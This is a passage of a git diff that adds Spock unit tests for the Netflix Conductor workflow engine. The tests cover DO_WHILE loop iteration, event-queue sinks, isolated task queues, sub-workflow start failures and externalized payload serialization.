[doWhileTaskModel, taskModel1, taskModel2] + + // this is the expected format of iteration 1's output data + def iteration1OutputData = [:] + iteration1OutputData[task1.taskReferenceName] = taskModel1.outputData + iteration1OutputData[task2.taskReferenceName] = taskModel2.outputData + + when: + def retVal = doWhile.execute(workflowModel, doWhileTaskModel, workflowExecutor) + + then: "verify that the return value is true, since the iteration is updated" + retVal + + and: "verify that the DO_WHILE TaskModel is correct" + doWhileTaskModel.iteration == 2 + doWhileTaskModel.outputData['iteration'] == 2 + doWhileTaskModel.outputData['1'] == iteration1OutputData + doWhileTaskModel.status == TaskModel.Status.IN_PROGRESS + + and: "verify whether the first task in the next iteration is scheduled" + 1 * workflowExecutor.scheduleNextIteration(doWhileTaskModel, workflowModel) + } + + def "next iteration - a task failed in the previous iteration"() { + given: "WorkflowModel consists of one iteration of tasks one of which is FAILED" + taskModel1 = createTaskModel(task1) + + taskModel2 = createTaskModel(task2, TaskModel.Status.FAILED) + taskModel2.reasonForIncompletion = 'no specific reason, i am tired of success' + + WorkflowTask doWhileWorkflowTask = new WorkflowTask(taskReferenceName: 'doWhileTask', type: TASK_TYPE_DO_WHILE) + doWhileWorkflowTask.loopCondition = "if (\$.doWhileTask['iteration'] < 2) { true; } else { false; }" + doWhileWorkflowTask.loopOver = [task1, task2] + + doWhileTaskModel = new TaskModel(workflowTask: doWhileWorkflowTask, taskId: UUID.randomUUID().toString(), + taskType: TASK_TYPE_DO_WHILE, referenceTaskName: doWhileWorkflowTask.taskReferenceName) + doWhileTaskModel.iteration = 1 + doWhileTaskModel.outputData['iteration'] = 1 + doWhileTaskModel.status = TaskModel.Status.IN_PROGRESS + + def workflowModel = new WorkflowModel(workflowDefinition: new WorkflowDef(name: 'test_workflow')) + // setup the WorkflowModel + workflowModel.tasks = [doWhileTaskModel, taskModel1, taskModel2] + + // this is the expected format of iteration 1's output data + def iteration1OutputData = [:] + iteration1OutputData[task1.taskReferenceName] = taskModel1.outputData + iteration1OutputData[task2.taskReferenceName] = taskModel2.outputData + + when: + def retVal = doWhile.execute(workflowModel, doWhileTaskModel, workflowExecutor) + + then: "verify that return value is true, status is updated" + retVal + + and: "verify the status and reasonForIncompletion fields" + doWhileTaskModel.iteration == 1 + doWhileTaskModel.outputData['iteration'] == 1 + doWhileTaskModel.outputData['1'] == iteration1OutputData + doWhileTaskModel.status == TaskModel.Status.FAILED + doWhileTaskModel.reasonForIncompletion && doWhileTaskModel.reasonForIncompletion.contains(taskModel2.reasonForIncompletion) + + and: "verify that next iteration is NOT scheduled" + 0 * workflowExecutor.scheduleNextIteration(doWhileTaskModel, workflowModel) + } + + def "next iteration - a task is in progress in the previous iteration"() { + given: "WorkflowModel consists of one iteration of tasks inside DO_WHILE already completed" + taskModel1 = createTaskModel(task1) + taskModel2 = createTaskModel(task2, TaskModel.Status.IN_PROGRESS) + taskModel2.outputData = [:] // no output data, task is in progress + + WorkflowTask doWhileWorkflowTask = new WorkflowTask(taskReferenceName: 'doWhileTask', type: TASK_TYPE_DO_WHILE) + doWhileWorkflowTask.loopCondition = "if (\$.doWhileTask['iteration'] < 2) { true; } else { false; }" + doWhileWorkflowTask.loopOver = [task1, task2] + + doWhileTaskModel = new TaskModel(workflowTask: doWhileWorkflowTask, taskId: UUID.randomUUID().toString(), + taskType: TASK_TYPE_DO_WHILE, referenceTaskName: doWhileWorkflowTask.taskReferenceName) + doWhileTaskModel.iteration = 1 + doWhileTaskModel.outputData['iteration'] = 1 + doWhileTaskModel.status = TaskModel.Status.IN_PROGRESS + + def workflowModel = new WorkflowModel(workflowDefinition: new WorkflowDef(name: 'test_workflow')) + // setup the WorkflowModel + workflowModel.tasks = [doWhileTaskModel, taskModel1, taskModel2] + + // this is the expected format of iteration 1's output data + def iteration1OutputData = [:] + iteration1OutputData[task1.taskReferenceName] = taskModel1.outputData + iteration1OutputData[task2.taskReferenceName] = [:] + + when: + def retVal = doWhile.execute(workflowModel, doWhileTaskModel, workflowExecutor) + + then: "verify that return value is false, since the DO_WHILE task model is not updated" + !retVal + + and: "verify that DO_WHILE task model is not modified" + doWhileTaskModel.iteration == 1 + doWhileTaskModel.outputData['iteration'] == 1 + doWhileTaskModel.outputData['1'] == iteration1OutputData + doWhileTaskModel.status == TaskModel.Status.IN_PROGRESS + + and: "verify that next iteration is NOT scheduled" + 0 * workflowExecutor.scheduleNextIteration(doWhileTaskModel, workflowModel) + } + + def "final step - all iterations are complete and all tasks in them are successful"() { + given: "WorkflowModel consists of one iteration of tasks inside DO_WHILE already completed" + taskModel1 = createTaskModel(task1) + taskModel2 = createTaskModel(task2) + + WorkflowTask doWhileWorkflowTask = new WorkflowTask(taskReferenceName: 'doWhileTask', type: TASK_TYPE_DO_WHILE) + doWhileWorkflowTask.loopCondition = "if (\$.doWhileTask['iteration'] < 1) { true; } else { false; }" + doWhileWorkflowTask.loopOver = [task1, task2] + + doWhileTaskModel = new TaskModel(workflowTask: doWhileWorkflowTask, taskId: UUID.randomUUID().toString(), + taskType: TASK_TYPE_DO_WHILE, referenceTaskName: doWhileWorkflowTask.taskReferenceName) + doWhileTaskModel.iteration = 1 + doWhileTaskModel.outputData['iteration'] = 1 + doWhileTaskModel.status = TaskModel.Status.IN_PROGRESS + + def workflowModel = new WorkflowModel(workflowDefinition: new WorkflowDef(name: 'test_workflow')) + // setup the WorkflowModel + workflowModel.tasks = [doWhileTaskModel, taskModel1, taskModel2] + + // this is the expected format of iteration 1's output data + def iteration1OutputData = [:] + iteration1OutputData[task1.taskReferenceName] = taskModel1.outputData + iteration1OutputData[task2.taskReferenceName] = taskModel2.outputData + + when: + def retVal = doWhile.execute(workflowModel, doWhileTaskModel, workflowExecutor) + + then: "verify that the return value is true, DO_WHILE TaskModel is updated" + retVal + + and: "verify the status and other fields are set correctly" + doWhileTaskModel.iteration == 1 + doWhileTaskModel.outputData['iteration'] == 1 + doWhileTaskModel.outputData['1'] == iteration1OutputData + doWhileTaskModel.status == TaskModel.Status.COMPLETED + + and: "verify that next iteration is not scheduled" + 0 * workflowExecutor.scheduleNextIteration(doWhileTaskModel, workflowModel) + } + + def "next iteration - one iteration of all tasks inside DO_WHILE are complete, but the condition is incorrect"() { + given: "WorkflowModel consists of one iteration of tasks inside DO_WHILE already completed" + taskModel1 = createTaskModel(task1) + taskModel2 = createTaskModel(task2) + + WorkflowTask doWhileWorkflowTask = new WorkflowTask(taskReferenceName: 'doWhileTask', type: TASK_TYPE_DO_WHILE) + // condition will produce a ScriptException + doWhileWorkflowTask.loopCondition = "if (dollar_sign_goes_here.doWhileTask['iteration'] < 2) { true; } else { false; }" + doWhileWorkflowTask.loopOver = [task1, task2] + + doWhileTaskModel = new TaskModel(workflowTask: doWhileWorkflowTask, taskId: UUID.randomUUID().toString(), + taskType: TASK_TYPE_DO_WHILE, referenceTaskName: doWhileWorkflowTask.taskReferenceName) + doWhileTaskModel.iteration = 1 + doWhileTaskModel.outputData['iteration'] = 1 + doWhileTaskModel.status = TaskModel.Status.IN_PROGRESS + + def workflowModel = new WorkflowModel(workflowDefinition: new WorkflowDef(name: 'test_workflow')) + // setup the WorkflowModel + workflowModel.tasks = [doWhileTaskModel, taskModel1, taskModel2] + + // this is the expected format of iteration 1's output data + def iteration1OutputData = [:] + iteration1OutputData[task1.taskReferenceName] = taskModel1.outputData + iteration1OutputData[task2.taskReferenceName] = taskModel2.outputData + + when: + def retVal = doWhile.execute(workflowModel, doWhileTaskModel, workflowExecutor) + + then: "verify that the return value is true since DO_WHILE TaskModel is updated" + retVal + + and: "verify the status of DO_WHILE TaskModel" + doWhileTaskModel.iteration == 1 + doWhileTaskModel.outputData['iteration'] == 1 + doWhileTaskModel.outputData['1'] == iteration1OutputData + doWhileTaskModel.status == TaskModel.Status.FAILED_WITH_TERMINAL_ERROR + doWhileTaskModel.reasonForIncompletion != null + + and: "verify that next iteration is not scheduled" + 0 * workflowExecutor.scheduleNextIteration(doWhileTaskModel, workflowModel) + } + + def "cancel sets the status as CANCELED"() { + given: + doWhileTaskModel = new TaskModel(taskId: UUID.randomUUID().toString(), + taskType: TASK_TYPE_DO_WHILE) + doWhileTaskModel.iteration = 1 + doWhileTaskModel.outputData['iteration'] = 1 + doWhileTaskModel.status = TaskModel.Status.IN_PROGRESS + + when: "cancel is called with null for WorkflowModel and WorkflowExecutor" + // null is used to note that those arguments are not intended to be used by this method + doWhile.cancel(null, doWhileTaskModel, null) + + then: + doWhileTaskModel.status == TaskModel.Status.CANCELED + } + + private static createTaskModel(WorkflowTask workflowTask, TaskModel.Status status = TaskModel.Status.COMPLETED, int iteration = 1) { + TaskModel taskModel1 = new TaskModel(workflowTask: workflowTask, taskType: TASK_TYPE_HTTP) + + taskModel1.status = status + taskModel1.outputData = ['k1': 'v1'] + taskModel1.iteration = iteration + taskModel1.referenceTaskName = TaskUtils.appendIteration(workflowTask.taskReferenceName, iteration) + + return taskModel1 + } +} diff --git a/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/EventSpec.groovy b/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/EventSpec.groovy new file mode 100644 index 0000000..e0ba3dd --- /dev/null +++ b/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/EventSpec.groovy @@ -0,0 +1,348 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.core.events.EventQueues +import com.netflix.conductor.core.events.queue.Message +import com.netflix.conductor.core.events.queue.ObservableQueue +import com.netflix.conductor.core.exception.NonTransientException +import com.netflix.conductor.core.exception.TransientException +import com.netflix.conductor.core.utils.ParametersUtils +import com.netflix.conductor.model.TaskModel +import com.netflix.conductor.model.WorkflowModel + +import com.fasterxml.jackson.core.JsonParseException +import com.fasterxml.jackson.databind.ObjectMapper +import spock.lang.Specification +import spock.lang.Subject + +class EventSpec extends Specification { + + EventQueues eventQueues + ParametersUtils parametersUtils + ObjectMapper objectMapper + ObservableQueue observableQueue + + String payloadJSON = "payloadJSON" + WorkflowDef testWorkflowDefinition + WorkflowModel workflow + + @Subject + Event event + + def setup() { + parametersUtils = Mock(ParametersUtils.class) + eventQueues = Mock(EventQueues.class) + observableQueue = Mock(ObservableQueue.class) + objectMapper = Mock(ObjectMapper.class) { + writeValueAsString(_) >> payloadJSON + } + + testWorkflowDefinition = new WorkflowDef(name: "testWorkflow", version: 2) + workflow = new WorkflowModel(workflowDefinition: testWorkflowDefinition, workflowId: 'workflowId', correlationId: 'corrId') + + event = new Event(eventQueues, parametersUtils, objectMapper) + } + + def "verify that event task is NOT async"() { + when: + def async = event.isAsync() + + then: + !async + } + + def "event cancel calls ack on the queue"() { + given: + // status is intentionally left as null + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', inputData: ['sink': 'conductor']) + + String queueName = "conductor:${workflow.workflowName}:${task.referenceTaskName}" + + when: + event.cancel(workflow, task, null) + + then: + task.status == null // task status is NOT updated by the cancel method + + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': 'conductor'] + 1 * eventQueues.getQueue(queueName) >> observableQueue + // Event.cancel sends a list with one Message object to ack + 1 * observableQueue.ack({it.size() == 1}) + } + + def "event task with 'conductor' as sink"() { + given: + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', inputData: ['sink': 'conductor']) + + String queueName = "conductor:${workflow.workflowName}:${task.referenceTaskName}" + Message expectedMessage + + when: + event.start(workflow, task, null) + + then: + task.status == TaskModel.Status.IN_PROGRESS + verifyOutputData(task, queueName) + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': 'conductor'] + + when: + event.execute(workflow, task, null) + + then: + task.status == TaskModel.Status.COMPLETED + verifyOutputData(task, queueName) + 1 * eventQueues.getQueue(queueName) >> observableQueue + // capture the Message object sent to the publish method. Event.start sends a list with one Message object + 1 * observableQueue.publish({ it.size() == 1 }) >> { it -> expectedMessage = it[0][0] as Message } + verifyMessage(expectedMessage, task) + } + + def "event task with 'conductor:' as sink"() { + given: + String eventName = 'testEvent' + String sinkValue = "conductor:$eventName".toString() + + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', inputData: ['sink': sinkValue]) + + String queueName = "conductor:${workflow.workflowName}:$eventName" + Message expectedMessage + + when: + event.start(workflow, task, null) + + then: + task.status == TaskModel.Status.IN_PROGRESS + verifyOutputData(task, queueName) + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': sinkValue] + + when: + event.execute(workflow, task, null) + + then: + task.status == TaskModel.Status.COMPLETED + verifyOutputData(task, queueName) + 1 * eventQueues.getQueue(queueName) >> observableQueue + // capture the Message object sent to the publish method. Event.start sends a list with one Message object + 1 * observableQueue.publish({ it.size() == 1 }) >> { it -> expectedMessage = it[0][0] as Message } + verifyMessage(expectedMessage, task) + } + + def "event task with 'sqs' as sink"() { + given: + String eventName = 'testEvent' + String sinkValue = "sqs:$eventName".toString() + + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', inputData: ['sink': sinkValue]) + + // for non conductor queues, queueName is the same as the value of the 'sink' field in the inputData + String queueName = sinkValue + Message expectedMessage + + when: + event.start(workflow, task, null) + + then: + task.status == TaskModel.Status.IN_PROGRESS + verifyOutputData(task, queueName) + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': sinkValue] + + when: + event.execute(workflow, task, null) + + then: + task.status == TaskModel.Status.COMPLETED + verifyOutputData(task, queueName) + 1 * eventQueues.getQueue(queueName) >> observableQueue + // capture the Message object sent to the publish method. Event.start sends a list with one Message object + 1 * observableQueue.publish({ it.size() == 1 }) >> { it -> expectedMessage = it[0][0] as Message } + verifyMessage(expectedMessage, task) + } + + def "event task with 'conductor' as sink and async complete"() { + given: + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', inputData: ['sink': 'conductor', 'asyncComplete': true]) + + String queueName = "conductor:${workflow.workflowName}:${task.referenceTaskName}" + Message expectedMessage + + when: + event.start(workflow, task, null) + + then: + task.status == TaskModel.Status.IN_PROGRESS + verifyOutputData(task, queueName) + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': 'conductor'] + + when: + boolean isTaskUpdateRequired = event.execute(workflow, task, null) + + then: + !isTaskUpdateRequired + task.status == TaskModel.Status.IN_PROGRESS + verifyOutputData(task, queueName) + 1 * eventQueues.getQueue(queueName) >> observableQueue + // capture the Message object sent to the publish method. Event.start sends a list with one Message object + 1 * observableQueue.publish({ it.size() == 1 }) >> { args -> expectedMessage = args[0][0] as Message } + verifyMessage(expectedMessage, task) + } + + def "event task with incorrect 'conductor' sink value"() { + given: + String sinkValue = 'conductorinvalidsink' + + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', inputData: ['sink': sinkValue]) + + when: + event.start(workflow, task, null) + + then: + task.status == TaskModel.Status.FAILED + task.reasonForIncompletion != null + task.reasonForIncompletion.contains('Invalid / Unsupported sink specified:') + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': sinkValue] + } + + def "event task with sink value that does not resolve to a queue"() { + given: + String sinkValue = 'rabbitmq:abc_123' + + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', inputData: ['sink': sinkValue]) + + // for non conductor queues, queueName is the same as the value of the 'sink' field in the inputData + String queueName = sinkValue + + when: + event.start(workflow, task, null) + + then: + task.status == TaskModel.Status.IN_PROGRESS + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': sinkValue] + + when: + event.execute(workflow, task, null) + + then: + task.status == TaskModel.Status.FAILED + task.reasonForIncompletion != null + 1 * eventQueues.getQueue(queueName) >> {throw new IllegalArgumentException() } + } + + def "publishing to a queue throws a TransientException"() { + given: + String sinkValue = 'conductor' + + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', status: TaskModel.Status.SCHEDULED, inputData: ['sink': sinkValue]) + + when: + event.start(workflow, task, null) + + then: + task.status == TaskModel.Status.IN_PROGRESS + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': sinkValue] + + when: + event.execute(workflow, task, null) + + then: + task.status == TaskModel.Status.FAILED + 1 * eventQueues.getQueue(_) >> observableQueue + // capture the Message object sent to the publish method. Event.start sends a list with one Message object + 1 * observableQueue.publish(_) >> { throw new TransientException("transient error") } + } + + def "publishing to a queue throws a NonTransientException"() { + given: + String sinkValue = 'conductor' + + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', status: TaskModel.Status.SCHEDULED, inputData: ['sink': sinkValue]) + + when: + event.start(workflow, task, null) + + then: + task.status == TaskModel.Status.IN_PROGRESS + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': sinkValue] + + when: + event.execute(workflow, task, null) + + then: + task.status == TaskModel.Status.FAILED + task.reasonForIncompletion != null + 1 * eventQueues.getQueue(_) >> observableQueue + // capture the Message object sent to the publish method. Event.start sends a list with one Message object + 1 * observableQueue.publish(_) >> { throw new NonTransientException("fatal error") } + } + + def "event task fails to convert the payload to json"() { + given: + String sinkValue = 'conductor' + + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', status: TaskModel.Status.SCHEDULED, inputData: ['sink': sinkValue]) + + when: + event.start(workflow, task, null) + + then: + task.status == TaskModel.Status.IN_PROGRESS + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': sinkValue] + + when: + event.execute(workflow, task, null) + + then: + task.status == TaskModel.Status.FAILED + task.reasonForIncompletion != null + 1 * objectMapper.writeValueAsString(_ as Map) >> { throw new JsonParseException(null, "invalid json") } + } + + def "event task fails with an unexpected exception"() { + given: + String sinkValue = 'conductor' + + TaskModel task = new TaskModel(referenceTaskName: 'task0', taskId: 'task_id_0', status: TaskModel.Status.SCHEDULED, inputData: ['sink': sinkValue]) + + when: + event.start(workflow, task, null) + + then: + task.status == TaskModel.Status.IN_PROGRESS + 1 * parametersUtils.getTaskInputV2(_, workflow, task.taskId, _) >> ['sink': sinkValue] + + when: + event.execute(workflow, task, null) + + then: + task.status == TaskModel.Status.FAILED + task.reasonForIncompletion != null + 1 * eventQueues.getQueue(_) >> { throw new NullPointerException("some object is null") } + } + + private void verifyOutputData(TaskModel task, String queueName) { + assert task.outputData != null + assert task.outputData['event_produced'] == queueName + assert task.outputData['workflowInstanceId'] == workflow.workflowId + assert task.outputData['workflowVersion'] == workflow.workflowVersion + assert task.outputData['workflowType'] == workflow.workflowName + assert task.outputData['correlationId'] == workflow.correlationId + } + + private void verifyMessage(Message expectedMessage, TaskModel task) { + assert expectedMessage != null + assert expectedMessage.id == task.taskId + assert expectedMessage.receipt == task.taskId + assert expectedMessage.payload == payloadJSON + } +} diff --git a/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/IsolatedTaskQueueProducerSpec.groovy b/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/IsolatedTaskQueueProducerSpec.groovy new file mode 100644 index 0000000..9daeea0 --- /dev/null +++ b/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/IsolatedTaskQueueProducerSpec.groovy @@ -0,0 +1,57 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks + +import java.time.Duration + +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.service.MetadataService + +import spock.lang.Specification +import spock.lang.Subject + +class IsolatedTaskQueueProducerSpec extends Specification { + + SystemTaskWorker systemTaskWorker + MetadataService metadataService + + @Subject + IsolatedTaskQueueProducer isolatedTaskQueueProducer + + def asyncSystemTask = new WorkflowSystemTask("asyncTask") { + @Override + boolean isAsync() { + return true + } + } + + def setup() { + systemTaskWorker = Mock(SystemTaskWorker.class) + metadataService = Mock(MetadataService.class) + + isolatedTaskQueueProducer = new IsolatedTaskQueueProducer(metadataService, [asyncSystemTask] as Set, systemTaskWorker, false, + Duration.ofSeconds(10)) + } + + def "addTaskQueuesAddsElementToQueue"() { + given: + TaskDef taskDef = new TaskDef(isolationGroupId: "isolated") + + when: + isolatedTaskQueueProducer.addTaskQueues() + + then: + 1 * systemTaskWorker.startPolling(asyncSystemTask, "${asyncSystemTask.taskType}-${taskDef.isolationGroupId}") + 1 * metadataService.getTaskDefs() >> Collections.singletonList(taskDef) + } +} diff --git a/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/StartWorkflowSpec.groovy b/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/StartWorkflowSpec.groovy new file mode 100644 index 0000000..209ddba --- /dev/null +++ b/core/src/test/groovy/com/netflix/conductor/core/execution/tasks/StartWorkflowSpec.groovy @@ -0,0 +1,115 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks + +import com.netflix.conductor.common.config.ObjectMapperProvider +import com.netflix.conductor.core.exception.NotFoundException +import com.netflix.conductor.core.exception.TransientException +import com.netflix.conductor.core.execution.WorkflowExecutor +import com.netflix.conductor.model.TaskModel +import com.netflix.conductor.model.WorkflowModel + +import jakarta.validation.ConstraintViolation +import jakarta.validation.Validator +import spock.lang.Specification +import spock.lang.Subject + +import static com.netflix.conductor.core.execution.tasks.StartWorkflow.START_WORKFLOW_PARAMETER +import static com.netflix.conductor.model.TaskModel.Status.FAILED +import static com.netflix.conductor.model.TaskModel.Status.SCHEDULED + +/** + * Unit test for StartWorkflow. Success and Javax validation cases are covered by the StartWorkflowSpec in test-harness module. + */ +class StartWorkflowSpec extends Specification { + + @Subject + StartWorkflow startWorkflow + + WorkflowExecutor workflowExecutor + Validator validator + WorkflowModel workflowModel + TaskModel taskModel + + def setup() { + workflowExecutor = Mock(WorkflowExecutor.class) + validator = Mock(Validator.class) { + validate(_) >> new HashSet>() + } + + def inputData = [:] + inputData[START_WORKFLOW_PARAMETER] = ['name': 'some_workflow'] + taskModel = new TaskModel(status: SCHEDULED, inputData: inputData) + workflowModel = new WorkflowModel() + + startWorkflow = new StartWorkflow(new ObjectMapperProvider().getObjectMapper(), validator) + } + + def "StartWorkflow task is asynchronous"() { + expect: + startWorkflow.isAsync() + } + + def "startWorkflow parameter is missing"() { + given: "a task with no start_workflow in input" + taskModel.inputData = [:] + + when: + startWorkflow.start(workflowModel, taskModel, workflowExecutor) + + then: + taskModel.status == FAILED + taskModel.reasonForIncompletion != null + } + + def "ObjectMapper throws an IllegalArgumentException"() { + given: "a task with no start_workflow in input" + taskModel.inputData[START_WORKFLOW_PARAMETER] = "I can't be converted to StartWorkflowRequest" + + when: + startWorkflow.start(workflowModel, taskModel, workflowExecutor) + + then: + taskModel.status == FAILED + taskModel.reasonForIncompletion != null + } + + def "WorkflowExecutor throws a retryable exception"() { + when: + startWorkflow.start(workflowModel, taskModel, workflowExecutor) + + then: + taskModel.status == SCHEDULED + 1 * workflowExecutor.startWorkflow(*_) >> { throw new TransientException("") } + } + + def "WorkflowExecutor throws a NotFoundException"() { + when: + startWorkflow.start(workflowModel, taskModel, workflowExecutor) + + then: + taskModel.status == FAILED + taskModel.reasonForIncompletion != null + 1 * workflowExecutor.startWorkflow(*_) >> { throw new NotFoundException("") } + } + + def "WorkflowExecutor throws a RuntimeException"() { + when: + startWorkflow.start(workflowModel, taskModel, workflowExecutor) + + then: + taskModel.status == FAILED + taskModel.reasonForIncompletion != null + 1 * workflowExecutor.startWorkflow(*_) >> { throw new RuntimeException("I am an unexpected exception") } + } +} diff --git a/core/src/test/groovy/com/netflix/conductor/model/TaskModelSpec.groovy b/core/src/test/groovy/com/netflix/conductor/model/TaskModelSpec.groovy new file mode 100644 index 0000000..8938f74 --- /dev/null +++ b/core/src/test/groovy/com/netflix/conductor/model/TaskModelSpec.groovy @@ -0,0 +1,66 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.model + +import com.netflix.conductor.common.config.ObjectMapperProvider + +import com.fasterxml.jackson.databind.JsonNode +import com.fasterxml.jackson.databind.ObjectMapper +import spock.lang.Specification +import spock.lang.Subject + +class TaskModelSpec extends Specification { + + @Subject + TaskModel taskModel + + private static final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper() + + def setup() { + taskModel = new TaskModel() + } + + def "check inputData serialization"() { + given: + String path = "task/input/${UUID.randomUUID()}.json" + taskModel.addInput(['key1': 'value1', 'key2': 'value2']) + taskModel.externalizeInput(path) + + when: + def json = objectMapper.writeValueAsString(taskModel) + println(json) + + then: + json != null + JsonNode node = objectMapper.readTree(json) + node.path("inputData").isEmpty() + node.path("externalInputPayloadStoragePath").isTextual() + } + + def "check outputData serialization"() { + given: + String path = "task/output/${UUID.randomUUID()}.json" + taskModel.addOutput(['key1': 'value1', 'key2': 'value2']) + taskModel.externalizeOutput(path) + + when: + def json = objectMapper.writeValueAsString(taskModel) + println(json) + + then: + json != null + JsonNode node = objectMapper.readTree(json) + node.path("outputData").isEmpty() + node.path("externalOutputPayloadStoragePath").isTextual() + } +} diff --git a/core/src/test/groovy/com/netflix/conductor/model/WorkflowModelSpec.groovy b/core/src/test/groovy/com/netflix/conductor/model/WorkflowModelSpec.groovy new file mode 100644 index 0000000..593f6b6 --- /dev/null +++ b/core/src/test/groovy/com/netflix/conductor/model/WorkflowModelSpec.groovy @@ -0,0 +1,68 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.model + +import com.netflix.conductor.common.config.ObjectMapperProvider +import com.netflix.conductor.common.metadata.workflow.WorkflowDef + +import com.fasterxml.jackson.databind.JsonNode +import com.fasterxml.jackson.databind.ObjectMapper +import spock.lang.Specification +import spock.lang.Subject + +class WorkflowModelSpec extends Specification { + + @Subject + WorkflowModel workflowModel + + private static final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper() + + def setup() { + def workflowDef = new WorkflowDef(name: "test def name", version: 1) + workflowModel = new WorkflowModel(workflowDefinition: workflowDef) + } + + def "check input serialization"() { + given: + String path = "task/input/${UUID.randomUUID()}.json" + workflowModel.input = ['key1': 'value1', 'key2': 'value2'] + workflowModel.externalizeInput(path) + + when: + def json = objectMapper.writeValueAsString(workflowModel) + println(json) + + then: + json != null + JsonNode node = objectMapper.readTree(json) + node.path("input").isEmpty() + node.path("externalInputPayloadStoragePath").isTextual() + } + + def "check output serialization"() { + given: + String path = "task/output/${UUID.randomUUID()}.json" + workflowModel.output = ['key1': 'value1', 'key2': 'value2'] + workflowModel.externalizeOutput(path) + + when: + def json = objectMapper.writeValueAsString(workflowModel) + println(json) + + then: + json != null + JsonNode node = objectMapper.readTree(json) + node.path("output").isEmpty() + node.path("externalOutputPayloadStoragePath").isTextual() + } +} diff --git a/core/src/test/java/com/netflix/conductor/TestUtils.java b/core/src/test/java/com/netflix/conductor/TestUtils.java new file mode 100644 index 0000000..2229d3d --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/TestUtils.java @@ -0,0 +1,32 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

